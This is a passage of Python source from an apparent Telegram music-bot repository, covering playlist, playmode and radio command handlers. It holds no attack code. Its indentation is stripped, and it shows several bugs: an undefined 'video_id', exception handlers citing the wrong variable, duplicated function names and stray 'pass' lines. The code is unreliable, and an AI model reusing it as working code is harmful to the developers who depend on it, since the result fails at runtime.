if user_command_count[user_id] > SPAM_THRESHOLD:
# Block the user if they exceed the threshold
hu = await message.reply_text(
f"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**"
)
await asyncio.sleep(3)
await hu.delete()
return
else:
# If more than the spam window time has passed, reset the command count and update the message timestamp
user_command_count[user_id] = 1
user_last_message_time[user_id] = current_time
_playlist = await get_playlist_names(message.from_user.id)
if _playlist:
get = await message.reply_text(_["playlist_2"])
else:
return await message.reply_text(_["playlist_3"])
msg = _["playlist_4"]
count = 0
for shikhar in _playlist:
_note = await get_playlist(message.from_user.id, shikhar)
title = _note["title"]
title = title.title()
duration = _note["duration"]
count += 1
msg += f"\n\n{count}- {title[:70]}\n"
msg += _["playlist_5"].format(duration)
link = await HottyBin(msg)
lines = msg.count("\n")
if lines >= 17:
car = os.linesep.join(msg.split(os.linesep)[:17])
else:
car = msg
carbon = await Carbon.generate(car, randint(100, 10000000000))
await get.delete()
await message.reply_photo(carbon, caption=_["playlist_15"].format(link))
async def get_keyboard(_, user_id):
keyboard = InlineKeyboard(row_width=5)
_playlist = await get_playlist_names(user_id)
count = len(_playlist)
for x in _playlist:
_note = await get_playlist(user_id, x)
title = _note["title"]
title = title.title()
keyboard.row(
InlineKeyboardButton(
text=title,
callback_data=f"del_playlist {x}",
)
)
keyboard.row(
InlineKeyboardButton(
text=_["PL_B_5"],
callback_data=f"delete_warning",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close"),
)
return keyboard, count
@app.on_message(filters.command(DELETEPLAYLIST_COMMAND) & ~BANNED_USERS)
@language
async def del_plist_msg(client, message: Message, _):
user_id = message.from_user.id
current_time = time()
# Update the last message timestamp for the user
last_message_time = user_last_message_time.get(user_id, 0)
if current_time - last_message_time < SPAM_WINDOW_SECONDS:
# If less than the spam window time has passed since the last message
user_last_message_time[user_id] = current_time
user_command_count[user_id] = user_command_count.get(user_id, 0) + 1
if user_command_count[user_id] > SPAM_THRESHOLD:
# Block the user if they exceed the threshold
hu = await message.reply_text(
f"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**"
)
await asyncio.sleep(3)
await hu.delete()
return
else:
# If more than the spam window time has passed, reset the command count and update the message timestamp
user_command_count[user_id] = 1
user_last_message_time[user_id] = current_time
_playlist = await get_playlist_names(message.from_user.id)
if _playlist:
get = await message.reply_text(_["playlist_2"])
else:
return await message.reply_text(_["playlist_3"])
keyboard, count = await get_keyboard(_, message.from_user.id)
await get.edit_text(_["playlist_7"].format(count), reply_markup=keyboard)
@app.on_callback_query(filters.regex("play_playlist") & ~BANNED_USERS)
@languageCB
async def play_playlist(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
mode = callback_data.split(None, 1)[1]
user_id = CallbackQuery.from_user.id
_playlist = await get_playlist_names(user_id)
if not _playlist:
try:
return await CallbackQuery.answer(
_["playlist_3"],
show_alert=True,
)
except:
return
chat_id = CallbackQuery.message.chat.id
user_name = CallbackQuery.from_user.first_name
await CallbackQuery.message.delete()
result = []
try:
await CallbackQuery.answer()
except:
pass
video = True if mode == "v" else None
mystic = await CallbackQuery.message.reply_text(_["play_1"])
for vidids in _playlist:
result.append(vidids)
try:
await stream(
_,
mystic,
user_id,
result,
chat_id,
user_name,
CallbackQuery.message.chat.id,
video,
streamtype="playlist",
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
@app.on_message(
filters.command(["playplaylist", "vplayplaylist"]) & ~BANNED_USERS & filters.group
)
@languageCB
async def play_playlist_command(client, message, _):
mode = message.command[0][0]
user_id = message.from_user.id
_playlist = await get_playlist_names(user_id)
if not _playlist:
try:
return await message.reply(
_["playlist_3"],
quote=True,
)
except:
return
chat_id = message.chat.id
user_name = message.from_user.first_name
try:
await message.delete()
except:
pass
result = []
video = True if mode == "v" else None
mystic = await message.reply_text(_["play_1"])
for vidids in _playlist:
result.append(vidids)
try:
await stream(
_,
mystic,
user_id,
result,
chat_id,
user_name,
message.chat.id,
video,
streamtype="playlist",
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
# Combined add_playlist function
@app.on_message(filters.command(ADDPLAYLIST_COMMAND) & ~BANNED_USERS)
@language
async def add_playlist(client, message: Message, _):
if len(message.command) < 2:
return await message.reply_text(
"**➻ ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍᴇ ᴀ sᴏɴɢ ɴᴀᴍᴇ ᴏʀ sᴏɴɢ ʟɪɴᴋ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ..**\n\n**➥ ᴇxᴀᴍᴘʟᴇs:**\n\n▷ `/addplaylist Blue Eyes` (ᴘᴜᴛ ᴀ sᴘᴇᴄɪғɪᴄ sᴏɴɢ ɴᴀᴍᴇ)\n\n▷ /addplaylist [ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ] (ᴛᴏ ᴀᴅᴅ ᴀʟʟ sᴏɴɢs ғʀᴏᴍ ᴀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ɪɴ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ.)"
)
query = message.command[1]
# Check if the provided input is a YouTube playlist link
if "youtube.com/playlist" in query:
adding = await message.reply_text(
"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**"
)
try:
from pytube import Playlist, YouTube
playlist = Playlist(query)
video_urls = playlist.video_urls
except Exception as e:
# Handle exception
return await message.reply_text(f"Error: {e}")
if not video_urls:
return await message.reply_text(
"**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋs.\n\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ**"
)
user_id = message.from_user.id
for video_url in video_urls:
video_id = video_url.split("v=")[-1]
try:
yt = YouTube(video_url)
title = yt.title
duration = yt.length
except Exception as e:
return await message.reply_text(f"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}")
plist = {
"videoid": video_id,
"title": title,
"duration": duration,
}
await save_playlist(user_id, video_id, plist)
keyboardes = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏",
callback_data=f"open_playlist {user_id}",
)
]
]
)
await adding.delete()
return await message.reply_text(
text="**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ✅**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\n\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n▷ **ᴘʟᴀʏ ʙʏ » /play**",
reply_markup=keyboardes,
)
if "youtube.com/@" in query:
addin = await message.reply_text(
"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**"
)
try:
from pytube import YouTube
channel_username = query
videos = YouTube_videos(f"{query}/videos")
video_urls = [video["url"] for video in videos]
except Exception as e:
# Handle exception
return await message.reply_text(f"Error: {e}")
if not video_urls:
return await message.reply_text(
"**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ YouTube channel.\n\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ YouTube channel ʟɪɴᴋ**"
)
user_id = message.from_user.id
for video_url in video_urls:
videosid = query.split("/")[-1].split("?")[0]
try:
yt = YouTube(f"https://youtu.be/{videosid}")
title = yt.title
duration = yt.length
except Exception as e:
return await message.reply_text(f"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}")
plist = {
"videoid": video_id,
"title": title,
"duration": duration,
}
await save_playlist(user_id, video_id, plist)
keyboardes = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏",
callback_data=f"open_playlist {user_id}",
)
]
]
)
await addin.delete()
return await message.reply_text(
text="**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ channel ʟɪɴᴋ✅**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\n\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n▷ **ᴘʟᴀʏ ʙʏ » /play**",
reply_markup=keyboardes,
)
# Check if the provided input is a YouTube video link
if "https://youtu.be" in query:
try:
add = await message.reply_text(
"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**"
)
from pytube import Playlist, YouTube
# Extract video ID from the YouTube lin
videoid = query.split("/")[-1].split("?")[0]
user_id = message.from_user.id
thumbnail = f"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg"
_check = await get_playlist(user_id, videoid)
if _check:
try:
await add.delete()
return await message.reply_photo(thumbnail, caption=_["playlist_8"])
except KeyError:
pass
_count = await get_playlist_names(user_id)
count = len(_count)
if count == SERVER_PLAYLIST_LIMIT:
try:
return await message.reply_text(
_["playlist_9"].format(SERVER_PLAYLIST_LIMIT)
)
except KeyError:
pass
try:
yt = YouTube(f"https://youtu.be/{videoid}")
title = yt.title
duration = yt.length
thumbnail = f"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg"
plist = {
"videoid": videoid,
"title": title,
"duration": duration,
}
await save_playlist(user_id, videoid, plist)
# Create inline keyboard with remove button
keyboard = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ Remove from Playlist ๏",
callback_data=f"remove_playlist {videoid}",
)
]
]
)
await add.delete()
await message.reply_photo(
thumbnail,
caption="**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\n\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**",
reply_markup=keyboard,
)
except Exception as e:
print(f"Error: {e}")
await message.reply_text(str(e))
except Exception as e:
return await message.reply_text(str(e))
else:
from BrandrdXMusic import YouTube
# Add a specific song by name
query = " ".join(message.command[1:])
print(query)
try:
results = YoutubeSearch(query, max_results=1).to_dict()
link = f"https://youtube.com{results[0]['url_suffix']}"
title = results[0]["title"][:40]
thumbnail = results[0]["thumbnails"][0]
thumb_name = f"{title}.jpg"
thumb = requests.get(thumbnail, allow_redirects=True)
open(thumb_name, "wb").write(thumb.content)
duration = results[0]["duration"]
videoid = results[0]["id"]
# Add these lines to define views and channel_name
views = results[0]["views"]
channel_name = results[0]["channel"]
user_id = message.from_user.id
_check = await get_playlist(user_id, videoid)
if _check:
try:
return await message.reply_photo(thumbnail, caption=_["playlist_8"])
except KeyError:
pass
_count = await get_playlist_names(user_id)
count = len(_count)
if count == SERVER_PLAYLIST_LIMIT:
try:
return await message.reply_text(
_["playlist_9"].format(SERVER_PLAYLIST_LIMIT)
)
except KeyError:
pass
m = await message.reply("**🔄 ᴀᴅᴅɪɴɢ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ... **")
title, duration_min, _, _, _ = await YouTube.details(videoid, True)
title = (title[:50]).title()
plist = {
"videoid": videoid,
"title": title,
"duration": duration_min,
}
await save_playlist(user_id, videoid, plist)
# Create inline keyboard with remove button
keyboard = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ Remove from Playlist ๏",
callback_data=f"remove_playlist {videoid}",
)
]
]
)
await m.delete()
await message.reply_photo(
thumbnail,
caption="**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\n\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**",
reply_markup=keyboard,
)
except KeyError:
return await message.reply_text("ɪɴᴠᴀʟɪᴅ ᴅᴀᴛᴀ ғᴏʀᴍᴀᴛ ʀᴇᴄᴇɪᴠᴇᴅ.")
except Exception as e:
pass
@app.on_callback_query(filters.regex("open_playlist") & ~BANNED_USERS)
@languageCB
async def open_playlist(client, CallbackQuery, _):
_playlist = await get_playlist_names(CallbackQuery.from_user.id)
if _playlist:
get = await CallbackQuery.message.edit_text(_["playlist_2"])
else:
return await CallbackQuery.message.edit_text(_["playlist_3"])
keyboard, count = await get_keyboard(_, CallbackQuery.from_user.id)
await get.edit_text(_["playlist_7"].format(count), reply_markup=keyboard)
@app.on_callback_query(filters.regex("remove_playlist") & ~BANNED_USERS)
@languageCB
async def del_plist(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
videoid = callback_data.split(None, 1)[1]
user_id = CallbackQuery.from_user.id
deleted = await delete_playlist(CallbackQuery.from_user.id, videoid)
if deleted:
try:
await CallbackQuery.answer(_["playlist_11"], show_alert=True)
except:
pass
else:
try:
return await CallbackQuery.answer(_["playlist_12"], show_alert=True)
except:
return
keyboards = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ๏", callback_data=f"recover_playlist {videoid}"
)
]
]
)
return await CallbackQuery.edit_message_text(
text="**➻ ʏᴏᴜʀ sᴏɴɢ ʜᴀs ʙᴇᴇɴ ᴅᴇʟᴇᴛᴇᴅ ғʀᴏᴍ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ**",
reply_markup=keyboards,
)
@app.on_callback_query(filters.regex("recover_playlist") & ~BANNED_USERS)
@languageCB
async def add_playlist(client, CallbackQuery, _):
from BrandrdXMusic import YouTube
callback_data = CallbackQuery.data.strip()
videoid = callback_data.split(None, 1)[1]
user_id = CallbackQuery.from_user.id
_check = await get_playlist(user_id, videoid)
if _check:
try:
return await CallbackQuery.answer(_["playlist_8"], show_alert=True)
except:
return
_count = await get_playlist_names(user_id)
count = len(_count)
if count == SERVER_PLAYLIST_LIMIT:
try:
return await CallbackQuery.answer(
_["playlist_9"].format(SERVER_PLAYLIST_LIMIT),
show_alert=True,
)
except:
return
(
title,
duration_min,
duration_sec,
thumbnail,
vidid,
) = await YouTube.details(videoid, True)
title = (title[:50]).title()
plist = {
"videoid": vidid,
"title": title,
"duration": duration_min,
}
await save_playlist(user_id, videoid, plist)
try:
title = (title[:30]).title()
keyboardss = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"๏ ʀᴇᴍᴏᴠᴇ ᴀɢᴀɪɴ ๏", callback_data=f"remove_playlist {videoid}"
)
]
]
)
return await CallbackQuery.edit_message_text(
text="**➻ ʀᴇᴄᴏᴠᴇʀᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ**\n\n**➥ Cʜᴇᴄᴋ Pʟᴀʏʟɪsᴛ ʙʏ /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ᴘʟᴀʏʟɪsᴛ ʙʏ » /play**",
reply_markup=keyboardss,
)
except:
return
@app.on_callback_query(filters.regex("add_playlist") & ~BANNED_USERS)
@languageCB
async def add_playlist(client, CallbackQuery, _):
await CallbackQuery.answer(
"➻ ᴛᴏ ᴀᴅᴅ ᴀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴊᴜsᴛ ᴛʏᴘᴇ /addplaylist (Here your song name)\n\n➥ ᴇxᴀᴍᴘʟᴇ » /addplaylist Blue Eyes Blue tyes.",
show_alert=True,
)
@app.on_callback_query(filters.regex("branded_playlist") & ~BANNED_USERS)
@languageCB
async def add_playlists(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
videoid = callback_data.split(None, 1)[1]
user_id = CallbackQuery.from_user.id
from BrandrdXMusic import YouTube
_check = await get_playlist(user_id, videoid)
if _check:
try:
from VIPMUSIC import YouTube
return await CallbackQuery.answer(_["playlist_8"], show_alert=True)
except:
return
_count = await get_playlist_names(user_id)
count = len(_count)
if count == SERVER_PLAYLIST_LIMIT:
try:
return await CallbackQuery.answer(
_["playlist_9"].format(SERVER_PLAYLIST_LIMIT),
show_alert=True,
)
except:
return
(
title,
duration_min,
duration_sec,
thumbnail,
vidid,
) = await YouTube.details(videoid, True)
title = (title[:50]).title()
plist = {
"videoid": vidid,
"title": title,
"duration": duration_min,
}
await save_playlist(user_id, videoid, plist)
try:
title = (title[:30]).title()
return await CallbackQuery.answer(
_["playlist_10"].format(title), show_alert=True
)
except:
return
# New command
DELETE_ALL_PLAYLIST_COMMAND = "delallplaylist"
@app.on_message(filters.command(DELETE_ALL_PLAYLIST_COMMAND) & ~BANNED_USERS)
@language
async def delete_all_playlists(client, message, _):
pass
user_id = message.from_user.id
_playlist = await get_playlist_names(user_id)
if _playlist:
try:
upl = warning_markup(_)
await message.reply_text(_["playlist_14"], reply_markup=upl)
except:
pass
else:
await message.reply_text(_["playlist_3"])
@app.on_callback_query(filters.regex("del_playlist") & ~BANNED_USERS)
@languageCB
async def del_plist(client, CallbackQuery, _):
pass
callback_data = CallbackQuery.data.strip()
videoid = callback_data.split(None, 1)[1]
user_id = CallbackQuery.from_user.id
deleted = await delete_playlist(CallbackQuery.from_user.id, videoid)
if deleted:
try:
await CallbackQuery.answer(_["playlist_11"], show_alert=True)
except:
pass
else:
try:
return await CallbackQuery.answer(_["playlist_12"], show_alert=True)
except:
return
keyboard, count = await get_keyboard(_, user_id)
return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)
@app.on_callback_query(filters.regex("delete_whole_playlist") & ~BANNED_USERS)
@languageCB
async def del_whole_playlist(client, CallbackQuery, _):
pass
_playlist = await get_playlist_names(CallbackQuery.from_user.id)
for x in _playlist:
await CallbackQuery.answer(
"➻ ᴏᴋ sɪʀ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ.\n\n➥ ᴅᴇʟᴇᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ...", show_alert=True
)
await delete_playlist(CallbackQuery.from_user.id, x)
return await CallbackQuery.edit_message_text(_["playlist_13"])
@app.on_callback_query(filters.regex("get_playlist_playmode") & ~BANNED_USERS)
@languageCB
async def get_playlist_playmode_(client, CallbackQuery, _):
try:
await CallbackQuery.answer()
except:
pass
buttons = get_playlist_markup(_)
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
@app.on_callback_query(filters.regex("delete_warning") & ~BANNED_USERS)
@languageCB
async def delete_warning_message(client, CallbackQuery, _):
pass
try:
await CallbackQuery.answer()
except:
pass
upl = warning_markup(_)
return await CallbackQuery.edit_message_text(_["playlist_14"], reply_markup=upl)
@app.on_callback_query(filters.regex("home_play") & ~BANNED_USERS)
@languageCB
async def home_play_(client, CallbackQuery, _):
pass
try:
await CallbackQuery.answer()
except:
pass
buttons = botplaylist_markup(_)
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
@app.on_callback_query(filters.regex("del_back_playlist") & ~BANNED_USERS)
@languageCB
async def del_back_playlist(client, CallbackQuery, _):
pass
user_id = CallbackQuery.from_user.id
_playlist = await get_playlist_names(user_id)
if _playlist:
try:
await CallbackQuery.answer(_["playlist_2"], show_alert=True)
except:
pass
else:
try:
return await CallbackQuery.answer(_["playlist_3"], show_alert=True)
except:
return
keyboard, count = await get_keyboard(_, user_id)
return await CallbackQuery.edit_message_text(
_["playlist_7"].format(count), reply_markup=keyboard
)
================================================
FILE: BrandrdXMusic/plugins/play/playmode.py
================================================
from pyrogram import filters
from pyrogram.types import InlineKeyboardMarkup, Message
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import get_playmode, get_playtype, is_nonadmin_chat
from BrandrdXMusic.utils.decorators import language
from BrandrdXMusic.utils.inline.settings import playmode_users_markup
from config import BANNED_USERS
@app.on_message(filters.command(["playmode", "mode"]) & filters.group & ~BANNED_USERS)
@language
async def playmode_(client, message: Message, _):
playmode = await get_playmode(message.chat.id)
if playmode == "Direct":
Direct = True
else:
Direct = None
is_non_admin = await is_nonadmin_chat(message.chat.id)
if not is_non_admin:
Group = True
else:
Group = None
playty = await get_playtype(message.chat.id)
if playty == "Everyone":
Playtype = None
else:
Playtype = True
buttons = playmode_users_markup(_, Direct, Group, Playtype)
response = await message.reply_text(
_["play_22"].format(message.chat.title),
reply_markup=InlineKeyboardMarkup(buttons),
)
================================================
FILE: BrandrdXMusic/plugins/play/radio.py
================================================
import logging
from pyrogram import filters
from pyrogram.enums import ChatMemberStatus
from pyrogram.errors import (
ChatAdminRequired,
InviteRequestSent,
UserAlreadyParticipant,
UserNotParticipant,
)
from pyrogram.types import Message
from config import BANNED_USERS, adminlist
from strings import get_string
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import (
get_assistant,
get_cmode,
get_lang,
get_playmode,
get_playtype,
)
from BrandrdXMusic.utils.logger import play_logs
from BrandrdXMusic.utils.stream.stream import stream
RADIO_STATION = {
"Air Bilaspur": "http://air.pc.cdn.bitgravity.com/air/live/pbaudio110/playlist.m3u8",
"Air Raipur": "http://air.pc.cdn.bitgravity.com/air/live/pbaudio118/playlist.m3u8",
"Capital FM": "http://media-ice.musicradio.com/CapitalMP3?.mp3&listening-from-radio-garden=1616312105154",
"English": "https://hls-01-regions.emgsound.ru/11_msk/playlist.m3u8",
"Mirchi": "http://peridot.streamguys.com:7150/Mirchi",
"Radio Today": "http://stream.zenolive.com/8wv4d8g4344tv",
"YouTube": "https://www.youtube.com/live/eu191hR_LEc?si=T-9QYD548jd0Mogp",
"Zee News": "https://www.youtube.com/live/TPcmrPrygDc?si=hiHBkIidgurQAd1P",
"Aaj Tak": "https://www.youtube.com/live/Nq2wYlWFucg?si=usY4UYiSBInKA0S1",
}
valid_stations = "\n".join([f"`{name}`" for name in sorted(RADIO_STATION.keys())])
@app.on_message(
filters.command(["radioplayforce", "radio", "cradio"])
& filters.group
& ~BANNED_USERS
)
async def radio(client, message: Message):
msg = await message.reply_text("ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ᴀ ᴍᴏᴍᴇɴᴛ....")
try:
try:
userbot = await get_assistant(message.chat.id)
get = await app.get_chat_member(message.chat.id, userbot.id)
except ChatAdminRequired:
return await msg.edit_text(
f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}."
)
if get.status == ChatMemberStatus.BANNED:
return await msg.edit_text(
text=f"» {userbot.mention} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ {message.chat.title}\n\n𖢵 ɪᴅ : `{userbot.id}`\n𖢵 ɴᴀᴍᴇ : {userbot.mention}\n𖢵 ᴜsᴇʀɴᴀᴍᴇ : @{userbot.username}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ...",
)
except UserNotParticipant:
if message.chat.username:
invitelink = message.chat.username
try:
await userbot.resolve_peer(invitelink)
except Exception as ex:
logging.exception(ex)
else:
try:
invitelink = await client.export_chat_invite_link(message.chat.id)
except ChatAdminRequired:
return await msg.edit_text(
f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}."
)
except InviteRequestSent:
try:
await app.approve_chat_join_request(message.chat.id, userbot.id)
except Exception as e:
return await msg.edit(
f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`"
)
except Exception as ex:
if "channels.JoinChannel" in str(ex) or "Username not found" in str(ex):
return await msg.edit_text(
f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}."
)
else:
return await msg.edit_text(
f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`"
)
if invitelink.startswith("https://t.me/+"):
invitelink = invitelink.replace("https://t.me/+", "https://t.me/joinchat/")
anon = await msg.edit_text(
f"ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴛᴏ {message.chat.title}."
)
try:
await userbot.join_chat(invitelink)
await asyncio.sleep(2)
await msg.edit_text(
f"{userbot.mention} ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ,\n\nsᴛᴀʀᴛɪɴɢ sᴛʀᴇᴀᴍ..."
)
except UserAlreadyParticipant:
pass
except InviteRequestSent:
try:
await app.approve_chat_join_request(message.chat.id, userbot.id)
except Exception as e:
return await msg.edit(
f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`"
)
except Exception as ex:
if "channels.JoinChannel" in str(ex) or "Username not found" in str(ex):
return await msg.edit_text(
f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}."
)
else:
return await msg.edit_text(
f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`"
)
try:
await userbot.resolve_peer(invitelink)
except:
pass
await msg.delete()
station_name = " ".join(message.command[1:])
RADIO_URL = RADIO_STATION.get(station_name)
if RADIO_URL:
language = await get_lang(message.chat.id)
_ = get_string(language)
